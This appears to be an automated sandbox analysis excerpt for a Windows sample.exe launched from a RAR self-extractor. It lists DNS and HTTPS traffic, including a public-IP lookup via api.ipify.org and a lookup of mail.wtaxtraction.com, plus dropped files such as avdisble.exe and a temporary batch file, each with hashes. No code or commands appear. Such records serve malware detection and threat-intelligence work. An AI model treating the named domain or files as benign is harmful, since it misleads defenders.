
C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 api.ipify.org udp
US 172.67.74.152:443 api.ipify.org tcp
US 8.8.8.8:53 152.74.67.172.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 mail.wtaxtraction.com udp

Files

C:\Users\Admin\AppData\Local\Temp\RarSFX0\avdisble.exe

MD5 6fe5c9b4c64e330be1f56a263fbfa620
SHA1 764633b8102846fcbc83850178ec58ece2fa0ed0
SHA256 904989b89c9185917059924a585ce9c7f9d18e928bc429c2ea93d058ac73396f
SHA512 c2204ee708a7088c7262042d099e3942ea8c453df0c2615ae72d9f2f5b2e871c6f0fdae50459df16e3d5c103449693aac716f4a2a83408771b5c476e2fec65e4

C:\Users\Admin\AppData\Local\Temp\43DF.tmp\43E0.tmp\43E1.bat

MD5 49910cb3f37fd8841e0d99a5d4c3a5e3
SHA1 da9a68b48304fe8b5ba377bc7ef06a94c649c525
SHA256 203995fcd8cd29dfcb929f06676c258a8b35a62719863a6dfec4aa1b0f5a0a90
SHA512 03281eb739041cdeffc1eab96c12d3e7d20ade1ab588af3cb7e56c1d7f83ce668290a36553f5f0a3aa119a561d8e5bf4e7ad87549bebc245d28b68c4db8f4ee9

C:\Users\Admin\AppData\Local\Temp\RarSFX0\sample.exe

MD5 b247c1e7766568af825a09eb81c55936
SHA1 946d40d213944a4042328f79089f09069f027c99
SHA256 14d7bdb0ce532036ac9830842c936d22c4cac6bd3972f7dc52550bda4fd9dd64
SHA512 1b469808f863741811d195c55fd30acda1830dc0ffc89c0037bc5b63581391608795b6ed9708361286c65fae40ea31bf71643e2ed3f97aec44661b82ebb7c481